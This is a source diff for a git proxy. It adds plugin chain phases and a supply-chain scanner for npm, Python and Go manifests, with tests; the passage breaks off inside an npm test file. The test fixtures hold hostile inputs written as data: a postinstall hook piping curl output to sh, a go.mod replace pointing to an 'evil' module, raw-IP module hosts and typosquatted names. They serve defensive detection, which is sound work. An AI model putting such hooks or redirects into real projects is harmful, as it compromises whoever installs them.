b/plugins/git-proxy-plugin-supply-chain/pull.js @@ -0,0 +1,30 @@ +/** + * Copyright 2026 GitProxy Contributors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +/** + * Loader entry point for the pull/clone scanner. GitProxy's PluginLoader takes only the + * default export of each configured module (load-plugin's `key` defaults to 'default'), + * so the push and pull plugins ship as separate entry files. Register both: + * + * "plugins": [ + * "./plugins/git-proxy-plugin-supply-chain/index.js", + * "./plugins/git-proxy-plugin-supply-chain/pull.js" + * ] + */ + +import { pullPlugin } from './index.js'; + +export default pullPlugin; diff --git a/src/plugin.ts b/src/plugin.ts index 2550283fa..7bc42b95d 100644 --- a/src/plugin.ts +++ b/src/plugin.ts @@ -191,12 +191,26 @@ class ProxyPlugin { } } +/** + * Where in the push chain a {@link PushActionPlugin} should run. + * - `'start'` (default): the plugin runs before all built-in processors. This preserves the + * historical behaviour. At this point only commit metadata is available; the remote has not + * been cloned and no diff has been computed. + * - `'afterDiff'`: the plugin runs immediately after the built-in `getDiff` processor, once the + * remote has been cloned, the incoming pack has been written and the unified diff is available. + * Use this for plugins that need to inspect changed file contents (e.g. dependency / + * supply-chain scanners). Tag pushes have no diff, so such plugins run just before the final + * authorisation gate on the tag chain. + */ +type PushChainPhase = 'start' | 'afterDiff'; + /** * A plugin which executes a function when receiving a git push request. */ class PushActionPlugin extends ProxyPlugin { isGitProxyPushActionPlugin: boolean; exec: (req: Request, action: Action) => Promise; + chainPhase: PushChainPhase; /** * Wrapper class which contains at least one function executed as part of the action chain for git push operations. @@ -211,20 +225,39 @@ class PushActionPlugin extends ProxyPlugin { * - Takes in an Express Request object as the first parameter (`req`). * - Takes in an Action object as the second parameter (`action`). * - Returns a Promise that resolves to an Action. + * @param {object} [options] - Optional plugin options. + * @param {PushChainPhase} [options.chainPhase='start'] - When the plugin runs in the push chain. + * Use `'afterDiff'` to run after the built-in diff has been computed so the plugin can inspect + * changed file contents. */ - constructor(exec: (req: Request, action: Action) => Promise) { + constructor( + exec: (req: Request, action: Action) => Promise, + options: { chainPhase?: PushChainPhase } = {}, + ) { super(); this.isGitProxyPushActionPlugin = true; this.exec = exec; + this.chainPhase = options.chainPhase ?? 'start'; } } +/** + * Where in the pull chain a {@link PullActionPlugin} should run. + * - `'start'` (default): the plugin runs before all built-in pull processors (historical behaviour). + * Only repo/user metadata is available. + * - `'afterAuth'`: the plugin runs after the built-in `checkRepoInAuthorisedList` step, i.e. once the + * repository has been confirmed as authorised. Use this for plugins that fetch and inspect the + * repository content on pull (e.g. supply-chain scanners) so they don't do so for unauthorised repos. + */ +type PullChainPhase = 'start' | 'afterAuth'; + /** * A plugin which executes a function when receiving a git fetch request. */ class PullActionPlugin extends ProxyPlugin { isGitProxyPullActionPlugin: boolean; exec: (req: Request, action: Action) => Promise; + chainPhase: PullChainPhase; /** * Wrapper class which contains at least one function executed as part of the action chain for git pull operations. @@ -239,12 +272,20 @@ class PullActionPlugin extends ProxyPlugin { * - Takes in an Express Request object as the first parameter (`req`). * - Takes in an Action object as the second parameter (`action`). * - Returns a Promise that resolves to an Action. + * @param {object} [options] - Optional plugin options. + * @param {PullChainPhase} [options.chainPhase='start'] - When the plugin runs in the pull chain. + * Use `'afterAuth'` to run after the repository has been confirmed as authorised. */ - constructor(exec: (req: Request, action: Action) => Promise) { + constructor( + exec: (req: Request, action: Action) => Promise, + options: { chainPhase?: PullChainPhase } = {}, + ) { super(); this.isGitProxyPullActionPlugin = true; this.exec = exec; + this.chainPhase = options.chainPhase ?? 'start'; } } export { PluginLoader, PushActionPlugin, PullActionPlugin, isCompatiblePlugin }; +export type { PushChainPhase, PullChainPhase }; diff --git a/src/proxy/chain.ts b/src/proxy/chain.ts index ba58b3f4c..be3b80459 100644 --- a/src/proxy/chain.ts +++ b/src/proxy/chain.ts @@ -122,12 +122,55 @@ export const getChain = async (action: Action): Promise => console.log( `Inserting loaded plugins (${chainPluginLoader.pushPlugins.length} push, ${chainPluginLoader.pullPlugins.length} pull) into proxy chains`, ); - for (const pluginObj of chainPluginLoader.pushPlugins) { + + // Late-phase push plugins run after the built-in getDiff so they can inspect the computed + // diff and the cloned working copy. Insert them first, while the getDiff index is still + // accurate: the 'start' plugins below splice at index 0 and would otherwise shift it. + const latePushPlugins = chainPluginLoader.pushPlugins.filter( + (pluginObj) => pluginObj.chainPhase === 'afterDiff', + ); + if (latePushPlugins.length > 0) { + const diffIndex = branchPushChain.indexOf(proc.push.getDiff); + // Fall back to just before the final blockForAuth step if getDiff is somehow absent. + const branchInsertAt = diffIndex === -1 ? branchPushChain.length - 1 : diffIndex + 1; + // Tag pushes have no diff step, so run late plugins just before the final blockForAuth gate. + const tagInsertAt = Math.max(tagPushChain.length - 1, 0); + // Advance the insert index per plugin so configuration order is preserved. + latePushPlugins.forEach((pluginObj, i) => { + console.log(`Inserting late push plugin ${pluginObj.constructor.name} after getDiff`); + branchPushChain.splice(branchInsertAt + i, 0, pluginObj.exec); + tagPushChain.splice(tagInsertAt + i, 0, pluginObj.exec); + }); + } + + // 'start' plugins (the default) run before all built-in processors. + const startPushPlugins = chainPluginLoader.pushPlugins.filter( + (pluginObj) => pluginObj.chainPhase !== 'afterDiff', + ); + for (const pluginObj of startPushPlugins) { console.log(`Inserting push plugin ${pluginObj.constructor.name} into chain`); branchPushChain.splice(0, 0, pluginObj.exec); tagPushChain.splice(0, 0, pluginObj.exec); } - for (const pluginObj of chainPluginLoader.pullPlugins) { + + // Late-phase pull plugins run after the built-in checkRepoInAuthorisedList step so they only + // act on authorised repos (e.g. content scanners that fetch the repo). Insert them first, + // while that step's index is still accurate. + const latePullPlugins = chainPluginLoader.pullPlugins.filter( + (pluginObj) => pluginObj.chainPhase === 'afterAuth', + ); + if (latePullPlugins.length > 0) { + const authIndex = pullActionChain.indexOf(proc.push.checkRepoInAuthorisedList); + const insertAt = authIndex === -1 ? pullActionChain.length : authIndex + 1; + latePullPlugins.forEach((pluginObj, i) => { + console.log(`Inserting late pull plugin ${pluginObj.constructor.name} after auth check`); + pullActionChain.splice(insertAt + i, 0, pluginObj.exec); + }); + } + + for (const pluginObj of chainPluginLoader.pullPlugins.filter( + (pluginObj) => pluginObj.chainPhase !== 'afterAuth', + )) { console.log(`Inserting pull plugin ${pluginObj.constructor.name} into chain`); // insert custom functions before other pull actions pullActionChain.splice(0, 0, pluginObj.exec); diff --git a/src/proxy/routes/index.ts b/src/proxy/routes/index.ts index e6babc385..678d315b3 100644 --- a/src/proxy/routes/index.ts +++ b/src/proxy/routes/index.ts @@ -107,6 +107,18 @@ const sendErrorResponse = (req: Request, res: Response, message: string): void = return; } + // Blocked pull/fetch: an upload-pack POST expects an upload-pack result. Send a protocol ERR + // packet (PKT-LINE("ERR" SP explanation)) so the git client aborts the fetch and prints the + // message ("remote error: ..."), rather than a receive-pack-shaped sideband it cannot parse. + if (req.url.endsWith('/git-upload-pack')) { + res.set('content-type', 'application/x-git-upload-pack-result'); + res.set('expires', 'Fri, 01 Jan 1980 00:00:00 GMT'); + res.set('pragma', 'no-cache'); + res.set('cache-control', 'no-cache, max-age=0, must-revalidate'); + res.status(200).send(handleErrPacket(message)); + return; + } + // Standard git receive-pack response res.set('content-type', 'application/x-git-receive-pack-result'); res.set('expires', 'Fri, 01 Jan 1980 00:00:00 GMT'); @@ -132,6 +144,13 @@ const handleRefsErrorMessage = (message: string): string => { return `${len}${errorBody}\n0000`; }; +const handleErrPacket = (message: string): string => { + // PKT-LINE("ERR" SP explanation-text LF) - the length header counts the trailing LF + const errorBody = `ERR ${message}\n`; + const len = (4 + Buffer.byteLength(errorBody)).toString(16).padStart(4, '0'); + return `${len}${errorBody}0000`; +}; + const getRequestPathResolver: (prefix: string) => ProxyOptions['proxyReqPathResolver'] = ( prefix, ) => { @@ -391,6 +410,7 @@ export { getRouter, handleMessage, handleRefsErrorMessage, + handleErrPacket, isPackPost, extractRawBody, validGitRequest, diff --git a/test/chain.test.ts b/test/chain.test.ts index 215da7632..275870326 100644 --- a/test/chain.test.ts +++ b/test/chain.test.ts @@ -134,6 +134,81 @@ describe('proxy chain', function () { expect(chain.pluginsInserted).toBe(true); }); + it('getChain should insert start-phase push plugins at the beginning of the chain', async () => { + const startExec = Object.assign(async () => {}, { displayName: 'start.exec' }); + chain.chainPluginLoader = { + pushPlugins: [{ exec: startExec }], + pullPlugins: [], + }; + const actual = await chain.getChain({ type: RequestType.PUSH, actionType: PushType.BRANCH }); + expect(actual[0]).toBe(startExec); + }); + + it('getChain should insert afterDiff push plugins immediately after getDiff', async () => { + const afterDiffExec = Object.assign(async () => {}, { displayName: 'afterDiff.exec' }); + chain.chainPluginLoader = { + pushPlugins: [{ exec: afterDiffExec, chainPhase: 'afterDiff' }], + pullPlugins: [], + }; + const actual = await chain.getChain({ type: RequestType.PUSH, actionType: PushType.BRANCH }); + const diffIndex = actual.indexOf(processors.push.getDiff); + expect(diffIndex).toBeGreaterThan(-1); + expect(actual[diffIndex + 1]).toBe(afterDiffExec); + // afterDiff plugins must not be inserted at the very start of the chain + expect(actual[0]).not.toBe(afterDiffExec); + }); + + it('getChain should preserve registration order for multiple afterDiff push plugins', async () => { + const first = Object.assign(async () => {}, { displayName: 'first.exec' }); + const second = Object.assign(async () => {}, { displayName: 'second.exec' }); + chain.chainPluginLoader = { + pushPlugins: [ + { exec: first, chainPhase: 'afterDiff' }, + { exec: second, chainPhase: 'afterDiff' }, + ], + pullPlugins: [], + }; + const actual = await chain.getChain({ type: RequestType.PUSH, actionType: PushType.BRANCH }); + const diffIndex = actual.indexOf(processors.push.getDiff); + expect(actual[diffIndex + 1]).toBe(first); + expect(actual[diffIndex + 2]).toBe(second); + }); + + it('getChain should insert afterAuth pull plugins after checkRepoInAuthorisedList', async () => { + const afterAuthExec = Object.assign(async () => {}, { displayName: 'pullScan.exec' }); + chain.chainPluginLoader = { + pushPlugins: [], + pullPlugins: [{ exec: afterAuthExec, chainPhase: 'afterAuth' }], + }; + const actual = await chain.getChain({ type: RequestType.PULL }); + const authIndex = actual.indexOf(processors.push.checkRepoInAuthorisedList); + expect(authIndex).toBeGreaterThan(-1); + expect(actual[authIndex + 1]).toBe(afterAuthExec); + expect(actual[0]).not.toBe(afterAuthExec); + }); + + it('getChain should insert start-phase pull plugins before the auth check', async () => { + const startExec = Object.assign(async () => {}, { displayName: 'pullStart.exec' }); + chain.chainPluginLoader = { + pushPlugins: [], + pullPlugins: [{ exec: startExec }], + }; + const actual = await chain.getChain({ type: RequestType.PULL }); + expect(actual[0]).toBe(startExec); + }); + + it('getChain should run afterDiff push plugins on the tag chain before blockForAuth', async () => { + const afterDiffExec = Object.assign(async () => {}, { displayName: 'afterDiff.exec' }); + chain.chainPluginLoader = { + pushPlugins: [{ exec: afterDiffExec, chainPhase: 'afterDiff' }], + pullPlugins: [], + }; + const actual = await chain.getChain({ type: RequestType.PUSH, actionType: PushType.TAG }); + const blockIndex = actual.indexOf(processors.push.blockForAuth); + expect(blockIndex).toBeGreaterThan(-1); + expect(actual[blockIndex - 1]).toBe(afterDiffExec); + }); + it('executeChain should stop executing if action has continue returns false', async () => { const req = {}; const continuingAction = { type: 'push', continue: () => true, allowPush: false }; diff --git a/test/plugin/plugin.test.ts b/test/plugin/plugin.test.ts index 2bbbd0027..076bffbe0 100644 --- a/test/plugin/plugin.test.ts +++ b/test/plugin/plugin.test.ts @@ -19,7 +19,12 @@ import { spawnSync } from 'child_process'; import { rmSync } from 'fs'; import { join } from 'path'; import { pathToFileURL } from 'url'; -import { isCompatiblePlugin, PushActionPlugin, PluginLoader } from '../../src/plugin'; +import { + isCompatiblePlugin, + PushActionPlugin, + PullActionPlugin, + PluginLoader, +} from '../../src/plugin'; // On Windows, ESM requires file:// URLs instead of absolute paths const toPluginPath = (filePath: string): string => { @@ -172,4 +177,21 @@ describe('plugin functions', () => { expect(isCompatiblePlugin(plugin)).toBe(true); expect(isCompatiblePlugin(plugin, 'isGitProxyPushActionPlugin')).toBe(true); }); + + it('should default a PushActionPlugin chainPhase to "start"', () => { + const plugin = new PushActionPlugin(async () => {}); + expect(plugin.chainPhase).toBe('start'); + }); + + it('should honour an explicit "afterDiff" chainPhase option', () => { + const plugin = new PushActionPlugin(async () => {}, { chainPhase: 'afterDiff' }); + expect(plugin.chainPhase).toBe('afterDiff'); + }); + + it('should default a PullActionPlugin chainPhase to "start" and honour "afterAuth"', () => { + expect(new PullActionPlugin(async () => {}).chainPhase).toBe('start'); + expect(new PullActionPlugin(async () => {}, { chainPhase: 'afterAuth' }).chainPhase).toBe( + 'afterAuth', + ); + }); }); diff --git a/test/plugins/supply-chain/analyze.test.ts b/test/plugins/supply-chain/analyze.test.ts new file mode 100644 index 000000000..bf3633915 --- /dev/null +++ b/test/plugins/supply-chain/analyze.test.ts @@ -0,0 +1,96 @@ +/** + * Copyright 2026 GitProxy Contributors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import { describe, it, expect } from 'vitest'; +import { analyzeChangedFiles } from '../../../plugins/git-proxy-plugin-supply-chain/lib/analyze.js'; +import { resolveConfig } from '../../../plugins/git-proxy-plugin-supply-chain/lib/config.js'; +import { + rank, + rankAtLeast, + maxSeverity, +} from '../../../plugins/git-proxy-plugin-supply-chain/lib/severity.js'; + +const config = resolveConfig(); + +describe('severity helpers', () => { + it('ranks severities in order', () => { + expect(rank('info')).toBeLessThan(rank('medium')); + expect(rank('medium')).toBeLessThan(rank('critical')); + expect(rank('unknown')).toBe(0); + }); + + it('rankAtLeast never blocks when threshold is off', () => { + expect(rankAtLeast('critical', 'off')).toBe(false); + expect(rankAtLeast('high', 'high')).toBe(true); + expect(rankAtLeast('medium', 'high')).toBe(false); + }); + + it('maxSeverity picks the highest, INFO by default', () => { + expect(maxSeverity([])).toBe('info'); + expect(maxSeverity(['low', 'high', 'medium'])).toBe('high'); + }); +}); + +describe('analyzeChangedFiles', () => { + const fakeReader = + (files: Record) => + async (path: string, rev: 'old' | 'new') => { + const entry = files[path]; + if (!entry) return null; + return (rev === 'old' ? entry.old : entry.new) ?? null; + }; + + it('routes npm manifests and aggregates the max severity', async () => { + const readFile = fakeReader({ + 'package.json': { + old: JSON.stringify({}), + new: JSON.stringify({ scripts: { postinstall: 'curl http://x/y | sh' } }), + }, + }); + const { findings, maxSeverity: max } = await analyzeChangedFiles({ + files: [{ path: 'package.json', ecosystem: 'npm', kind: 'manifest', deleted: false }], + readFile, + config, + }); + expect(findings.length).toBeGreaterThan(0); + expect(max).toBe('critical'); + }); + + it('skips deleted manifests', async () => { + const readFile = fakeReader({ 'package.json': { new: JSON.stringify({}) } }); + const { findings } = await analyzeChangedFiles({ + files: [{ path: 'package.json', ecosystem: 'npm', kind: 'manifest', deleted: true }], + readFile, + config, + }); + expect(findings).toEqual([]); + }); + + it('ignores unknown ecosystems and unreadable files', async () => { + const throwingReader = async () => { + throw new Error('boom'); + }; + const { findings } = await analyzeChangedFiles({ + files: [ + { path: 'Cargo.toml', ecosystem: 'cargo', kind: 'manifest', deleted: false }, + { path: 'package.json', ecosystem: 'npm', kind: 'manifest', deleted: false }, + ], + readFile: throwingReader, + config, + }); + expect(findings).toEqual([]); + }); +}); diff --git a/test/plugins/supply-chain/config.test.ts b/test/plugins/supply-chain/config.test.ts new file mode 100644 index 000000000..a5988a4ca --- /dev/null +++ b/test/plugins/supply-chain/config.test.ts @@ -0,0 +1,66 @@ +/** + * Copyright 2026 GitProxy Contributors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import { describe, it, expect, vi } from 'vitest'; +import { + DEFAULT_CONFIG, + resolveConfig, + loadConfig, +} from '../../../plugins/git-proxy-plugin-supply-chain/lib/config.js'; + +describe('resolveConfig', () => { + it('returns defaults when given nothing', () => { + expect(resolveConfig()).toEqual(DEFAULT_CONFIG); + }); + + it('merges nested ecosystems rather than replacing them', () => { + const cfg = resolveConfig({ ecosystems: { go: true } }); + expect(cfg.ecosystems).toEqual({ npm: true, python: true, go: true }); + }); + + it('honours failOn and allowPackages overrides', () => { + const cfg = resolveConfig({ failOn: 'high', allowPackages: ['x'] }); + expect(cfg.failOn).toBe('high'); + expect(cfg.allowPackages).toEqual(['x']); + }); + + it('merges the pull section rather than replacing it', () => { + const cfg = resolveConfig({ pull: { failOn: 'high' } }); + expect(cfg.pull).toEqual({ enabled: true, failOn: 'high' }); + }); + + it('ignores a non-array allowPackages override', () => { + // @ts-expect-error deliberately wrong type + const cfg = resolveConfig({ allowPackages: 'nope' }); + expect(cfg.allowPackages).toEqual([]); + }); +}); + +describe('loadConfig', () => { + it('returns defaults when the env var is unset', () => { + expect(loadConfig({} as NodeJS.ProcessEnv)).toEqual(DEFAULT_CONFIG); + }); + + it('falls back to defaults (and logs) when the config path is unreadable', () => { + const spy = vi.spyOn(console, 'error').mockImplementation(() => {}); + const cfg = loadConfig({ + GIT_PROXY_SUPPLY_CHAIN_CONFIG: '/no/such/file.json', + } as NodeJS.ProcessEnv); + expect(cfg).toEqual(DEFAULT_CONFIG); + expect(spy).toHaveBeenCalled(); + spy.mockRestore(); + }); +}); diff --git a/test/plugins/supply-chain/diff.test.ts b/test/plugins/supply-chain/diff.test.ts new file mode 100644 index 000000000..7fe4db2b5 --- /dev/null +++ b/test/plugins/supply-chain/diff.test.ts @@ -0,0 +1,110 @@ +/** + * Copyright 2026 GitProxy Contributors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import { describe, it, expect } from 'vitest'; +import { changedManifestFiles } from '../../../plugins/git-proxy-plugin-supply-chain/lib/diff.js'; +import { classifyManifest } from '../../../plugins/git-proxy-plugin-supply-chain/lib/manifests.js'; + +const DIFF = `diff --git a/package.json b/package.json +index 1111111..2222222 100644 +--- a/package.json ++++ b/package.json +@@ -1,3 +1,4 @@ + { + "name": "x", ++ "version": "1.0.0", + "private": true + } +diff --git a/src/index.js b/src/index.js +index 3333333..4444444 100644 +--- a/src/index.js ++++ b/src/index.js +@@ -1 +1 @@ +-console.log(1) ++console.log(2) +`; + +const DELETION_DIFF = `diff --git a/yarn.lock b/yarn.lock +deleted file mode 100644 +index 5555555..0000000 +--- a/yarn.lock ++++ /dev/null +@@ -1,2 +0,0 @@ +-a +-b +`; + +describe('classifyManifest', () => { + it('classifies npm manifests and lockfiles', () => { + expect(classifyManifest('package.json')).toEqual({ ecosystem: 'npm', kind: 'manifest' }); + expect(classifyManifest('a/b/package-lock.json')).toEqual({ + ecosystem: 'npm', + kind: 'lockfile', + }); + expect(classifyManifest('sub\\dir\\yarn.lock')).toEqual({ ecosystem: 'npm', kind: 'lockfile' }); + }); + + it('classifies python manifests and lockfiles (incl. requirements variants)', () => { + expect(classifyManifest('requirements.txt')).toEqual({ ecosystem: 'python', kind: 'manifest' }); + expect(classifyManifest('requirements-dev.txt')).toEqual({ + ecosystem: 'python', + kind: 'manifest', + }); + expect(classifyManifest('svc/pyproject.toml')).toEqual({ + ecosystem: 'python', + kind: 'manifest', + }); + expect(classifyManifest('setup.py')).toEqual({ ecosystem: 'python', kind: 'manifest' }); + expect(classifyManifest('poetry.lock')).toEqual({ ecosystem: 'python', kind: 'lockfile' }); + expect(classifyManifest('Pipfile.lock')).toEqual({ ecosystem: 'python', kind: 'lockfile' }); + }); + + it('classifies Go manifests and lockfiles', () => { + expect(classifyManifest('go.mod')).toEqual({ ecosystem: 'go', kind: 'manifest' }); + expect(classifyManifest('backend/go.sum')).toEqual({ ecosystem: 'go', kind: 'lockfile' }); + }); + + it('returns null for non-manifest files', () => { + expect(classifyManifest('src/index.js')).toBeNull(); + expect(classifyManifest('README.md')).toBeNull(); + expect(classifyManifest('')).toBeNull(); + }); +}); + +describe('changedManifestFiles', () => { + it('returns only recognised manifests from a diff', () => { + const files = changedManifestFiles(DIFF); + expect(files).toHaveLength(1); + expect(files[0]).toMatchObject({ + path: 'package.json', + ecosystem: 'npm', + kind: 'manifest', + deleted: false, + }); + }); + + it('marks deletions and uses the pre-image path', () => { + const files = changedManifestFiles(DELETION_DIFF); + expect(files).toHaveLength(1); + expect(files[0]).toMatchObject({ path: 'yarn.lock', kind: 'lockfile', deleted: true }); + }); + + it('returns [] for empty or non-string input', () => { + expect(changedManifestFiles('')).toEqual([]); + // @ts-expect-error deliberately wrong type + expect(changedManifestFiles(null)).toEqual([]); + }); +}); diff --git a/test/plugins/supply-chain/go.test.ts b/test/plugins/supply-chain/go.test.ts new file mode 100644 index 000000000..c208a816f --- /dev/null +++ b/test/plugins/supply-chain/go.test.ts @@ -0,0 +1,242 @@ +/** + * Copyright 2026 GitProxy Contributors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import { describe, it, expect } from 'vitest'; +import { analyzeGo } from '../../../plugins/git-proxy-plugin-supply-chain/lib/ecosystems/go.js'; +import { resolveConfig } from '../../../plugins/git-proxy-plugin-supply-chain/lib/config.js'; + +const config = resolveConfig(); + +const scan = ( + path: string, + kind: string, + newContent: string | null, + oldContent: string | null = null, +) => analyzeGo({ path, kind, oldContent, newContent, config }); + +const byRule = (findings: { rule: string }[], rule: string) => + findings.filter((f) => f.rule === rule); + +describe('go analyzer - go.mod replace directives', () => { + it('flags local filesystem replaces in single-line and block form', () => { + const findings = scan( + 'go.mod', + 'manifest', + [ + 'module example.com/app', + 'replace github.com/acme/lib => ./local', + 'replace (', + ' github.com/acme/other => ../other', + ')', + ].join('\n'), + ); + const local = byRule(findings, 'go-replace-local'); + expect(local).toHaveLength(2); + expect(local.every((f) => f.severity === 'high')).toBe(true); + }); + + it('flags replace directives that redirect to a different remote module', () => { + const findings = scan( + 'go.mod', + 'manifest', + 'module example.com/app\nreplace github.com/acme/lib => github.com/evil/lib v1.2.3\n', + ); + const remote = byRule(findings, 'go-replace-remote'); + expect(remote).toHaveLength(1); + expect(remote[0].severity).toBe('high'); + expect(remote[0].detail).toContain('github.com/evil/lib'); + }); + + it('does not flag a same-module version pin as a replace risk', () => { + const findings = scan( + 'go.mod', + 'manifest', + 'module example.com/app\nreplace github.com/acme/lib v1.0.0 => github.com/acme/lib v1.2.0\n', + ); + expect(byRule(findings, 'go-replace-local')).toHaveLength(0); + expect(byRule(findings, 'go-replace-remote')).toHaveLength(0); + }); +}); + +describe('go analyzer - suspicious hosts and versions', () => { + it('flags raw-IP require and replace module hosts as CRITICAL', () => { + const findings = scan( + 'go.mod', + 'manifest', + [ + 'module example.com/app', + 'require 192.0.2.10/acme/lib v1.0.0', + 'replace github.com/acme/lib => 203.0.113.7/acme/lib v1.2.3', + ].join('\n'), + ); + const suspicious = byRule(findings, 'go-suspicious-host'); + expect(suspicious).toHaveLength(2); + expect(suspicious.every((f) => f.severity === 'critical')).toBe(true); + }); + + it('flags localhost require module hosts as HIGH', () => { + const findings = scan( + 'go.mod', + 'manifest', + 'module example.com/app\nrequire localhost:8080/acme/lib v1.0.0\n', + ); + const suspicious = byRule(findings, 'go-suspicious-host'); + expect(suspicious).toHaveLength(1); + expect(suspicious[0].severity).toBe('high'); + expect(suspicious[0].detail).toContain('localhost'); + }); + + it('flags a new require with a pseudo-version', () => { + const findings = scan( + 'go.mod', + 'manifest', + 'module example.com/app\nrequire github.com/acme/lib v0.0.0-20250101123456-abcdef123456\n', + 'module example.com/app\n', + ); + const pseudo = byRule(findings, 'go-pseudo-version'); + expect(pseudo).toHaveLength(1); + expect(pseudo[0].severity).toBe('low'); + }); + + it('does not flag a version bump to a pseudo-version on an existing module', () => { + const findings = scan( + 'go.mod', + 'manifest', + 'module example.com/app\nrequire github.com/acme/lib v0.0.0-20250101123456-abcdef123456\n', + 'module example.com/app\nrequire github.com/acme/lib v1.0.0\n', + ); + expect(byRule(findings, 'go-pseudo-version')).toHaveLength(0); + }); + + it('flags a new require with a +incompatible version', () => { + const findings = scan( + 'go.mod', + 'manifest', + 'module example.com/app\nrequire github.com/acme/lib v2.0.0+incompatible\n', + ); + const incompatible = byRule(findings, 'go-incompatible-version'); + expect(incompatible).toHaveLength(1); + expect(incompatible[0].severity).toBe('info'); + }); +}); + +describe('go analyzer - toolchain, exclude, typosquat, and summaries', () => { + it('flags a changed toolchain directive as MEDIUM', () => { + const findings = scan( + 'go.mod', + 'manifest', + 'module example.com/app\ntoolchain go1.23.0\n', + 'module example.com/app\ntoolchain go1.22.0\n', + ); + const toolchain = byRule(findings, 'go-toolchain'); + expect(toolchain).toHaveLength(1); + expect(toolchain[0].severity).toBe('medium'); + expect(toolchain[0].title).toContain('changed'); + }); + + it('flags a fresh file toolchain directive as INFO', () => { + const findings = scan('go.mod', 'manifest', 'module example.com/app\ntoolchain go1.23.0\n'); + const toolchain = byRule(findings, 'go-toolchain'); + expect(toolchain).toHaveLength(1); + expect(toolchain[0].severity).toBe('info'); + expect(toolchain[0].title).toContain('added'); + }); + + it('flags an added exclude entry', () => { + const findings = scan( + 'go.mod', + 'manifest', + 'module example.com/app\nexclude github.com/acme/lib v1.2.0\n', + 'module example.com/app\n', + ); + const exclude = byRule(findings, 'go-exclude'); + expect(exclude).toHaveLength(1); + expect(exclude[0].severity).toBe('info'); + }); + + it('flags a tail typo against popular Go modules', () => { + const findings = scan( + 'go.mod', + 'manifest', + 'module example.com/app\nrequire github.com/strechr/testify v1.10.0\n', + ); + const typo = byRule(findings, 'typosquat'); + expect(typo).toHaveLength(1); + expect(typo[0].severity).toBe('high'); + expect(typo[0].title).toContain('github.com/stretchr/testify'); + }); + + it('flags a host typo against popular Go modules', () => { + const findings = scan( + 'go.mod', + 'manifest', + 'module example.com/app\nrequire githib.com/stretchr/testify v1.10.0\n', + ); + const typo = byRule(findings, 'typosquat'); + expect(typo).toHaveLength(1); + expect(typo[0].title).toContain('github.com/stretchr/testify'); + }); + + it('summarizes newly-added require modules', () => { + const findings = scan( + 'go.mod', + 'manifest', + 'module example.com/app\nrequire github.com/acme/lib v1.0.0\n', + ); + const summary = byRule(findings, 'go-new-modules'); + expect(summary).toHaveLength(1); + expect(summary[0].severity).toBe('info'); + expect(summary[0].title).toBe('1 new module(s) added'); + expect(summary[0].detail).toContain('github.com/acme/lib'); + }); + + it('returns no findings for unchanged content', () => { + const content = 'module example.com/app\nrequire github.com/acme/lib v1.0.0\n'; + expect(scan('go.mod', 'manifest', content, content)).toEqual([]); + }); + + it('does not throw on malformed go.mod content', () => { + expect(() => + scan( + 'go.mod', + 'manifest', + ['\u0000\u0001garbage', 'require (', 'github.com/acme/lib', 'replace github.com/a =>'].join( + '\n', + ), + ), + ).not.toThrow(); + }); +}); + +describe('go analyzer - go.sum', () => { + it('flags a newly-added raw-IP module as CRITICAL', () => { + const findings = scan( + 'go.sum', + 'lockfile', + 'github.com/acme/lib v1.0.0 h1:abc\n192.0.2.10/acme/lib v1.0.0 h1:def\n', + 'github.com/acme/lib v1.0.0 h1:abc\n', + ); + const suspicious = byRule(findings, 'go-sum-suspicious-host'); + expect(suspicious).toHaveLength(1); + expect(suspicious[0].severity).toBe('critical'); + }); + + it('returns no findings for unchanged or normal go.sum content', () => { + const content = 'github.com/acme/lib v1.0.0 h1:abc\n'; + expect(scan('go.sum', 'lockfile', content, content)).toEqual([]); + expect(scan('go.sum', 'lockfile', content)).toEqual([]); + }); +}); diff --git a/test/plugins/supply-chain/npm.test.ts b/test/plugins/supply-chain/npm.test.ts new file mode 100644 index 000000000..870d1b372 --- /dev/null +++ b/test/plugins/supply-chain/npm.test.ts @@ -0,0 +1,322 @@ +/** + * Copyright 2026 GitProxy Contributors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import { describe, it, expect } from 'vitest'; +import { analyzeNpm } from '../../../plugins/git-proxy-plugin-supply-chain/lib/ecosystems/npm.js'; +import { resolveConfig } from '../../../plugins/git-proxy-plugin-supply-chain/lib/config.js'; + +const 